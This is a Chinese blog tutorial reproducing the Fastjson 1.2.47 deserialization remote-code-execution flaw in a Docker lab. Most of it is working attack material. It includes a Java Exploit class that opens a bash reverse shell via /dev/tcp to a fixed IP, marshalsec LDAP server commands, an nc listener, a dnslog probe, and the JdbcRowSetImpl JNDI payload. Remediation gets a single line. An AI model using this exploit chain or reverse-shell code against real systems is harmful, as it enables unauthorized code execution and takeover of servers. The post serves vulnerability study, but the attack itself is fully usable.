当前位置: 首页 > news >正文

Fastjson <= 1.2.47 反序列化漏洞复现

0x01 前言

Fastjson 是一个 Java 语言编写的高性能功能完善的 JSON 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象,在中国和美国使用较为广泛。

0x02 漏洞成因

Fastjson < 1.2.68 版本在处理反序列化对象时存在安全问题,导致攻击者可以执行 java 代码,具体分析可参考:FastJson 反序列化学习

0x03 环境准备

docker 搜索 Fastjson 漏洞利用镜像:
docker search fastjson

这里选择 fastjson1.2.47_rce 镜像进行漏洞复现,将镜像 push 回本地:
docker push initidc/fastjson1.2.47_rce

查看本地镜像:
docker images

开启镜像:
docker run -it -p 8080:8080 a82832ac7f62

复现漏洞还需要在本地开启 rmi 或 ldap 服务,这里我们使用 marshalsec 快速开启 rmi 或 ldap 服务,下载地址:https://github.com/mbechler/marshalsec

下载解压后进入 marshalsec 文件夹,使用 maven 编译出 jar 包(没有 maven 自行下载安装):
mvn clean package -DskipTests

编译完成后在 target 文件夹中找到我们需要的 jar 文件:marshalsec-0.0.3-SNAPSHOT-all.jar

最后准备我们的攻击代码:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.134.130/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); //ip端口自行替换为接收shell地址InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {}
}

编译出 .class 文件:
javac Exploit.java

OK,环境基本准备就绪。

0x04 漏洞复现

访问环境:
http://x.x.x.x:8080/fastjson/

先进行 dnslog 探测尝试:
{"@type":"java.net.Inet4Address","val":"1.sap0b9.dnslog.cn"}

dnslog 探测成功,利用攻击脚本进行攻击尝试。

首先利用 python 起 http ,将攻击代码挂起:
python -m http.server 8888

启动 ladp 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x:8888/#Exploit 9999

攻击机监听端口:
nc -lvvp 8089

使用攻击 payload 进行反弹攻击:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:9999/Exploit", //你的ldap服务地址"autoCommit":true}}

成功反弹 shell ,复现成功:

0x05 注意点

利用 RMI 或 LDAP 对本地 jdk 版本有要求,利用 RMI 服务 jdk 版本必须低于 8u121 ,利用 LDAP 服务 jdk 版本必须低于 8u182 。

这是我本地 jdk 版本:

0x06 修复方案

升级到最新版本~

http://www.lryc.cn/news/507781.html

相关文章:

  • 鸿蒙项目云捐助第二十一讲云捐助项目物联网IoT模拟器的使用
  • 大数据技术原理与应用期末复习-知识点(二)
  • 高效准确的PDF解析工具,赋能企业非结构化数据治理
  • C/C++ 数据结构与算法【栈和队列】 栈+队列详细解析【日常学习,考研必备】带图+详细代码
  • 读书笔记~管理修炼-缄默效应
  • 视频会议系统会前预约模块必须包含哪些功能?
  • RabbitMQ中的Topic模式
  • tslib(触摸屏输入设备的轻量级库)的学习、编译及测试记录
  • Ubuntu vi(vim)编辑器配置一键补全main函数
  • 验证码机制
  • 【CVE-2024-56145】PHP 漏洞导致 Craft CMS 出现 RCE
  • 使用FakeSMTP创建本地SMTP服务器接收邮件具体实现。
  • 【网络安全】逆向工程 练习示例
  • Oracle Database 21c Express Edition数据库 和 Sqlplus客户端安装配置
  • arcgisPro将面要素转成CAD多段线
  • 相机内外参知识
  • 从代币角度介绍solana账户体系
  • 前端引入字体文件
  • qemu启动后网络怎么设置?配合qemu-system-riscv64的命令设置
  • 如何测量分辨率
  • 汇总贴:cocos creator
  • [N1CTF 2018]eating_cms
  • 重拾设计模式--建造者模式
  • 【机器学习】以机器学习为翼,翱翔网络安全创新苍穹
  • 人工智能在VR展览中扮演什么角色?
  • mysql,创建数据库和用户授权核心语句
  • 日期区间选择器插件的操作流程
  • 【WRF教程第3.2期】预处理系统 WPS详解:以4.5版本为例
  • 深度学习的DataLoader是什么数据类型,为什么不可用来索引
  • 物理信息神经网络(PINN)八课时教案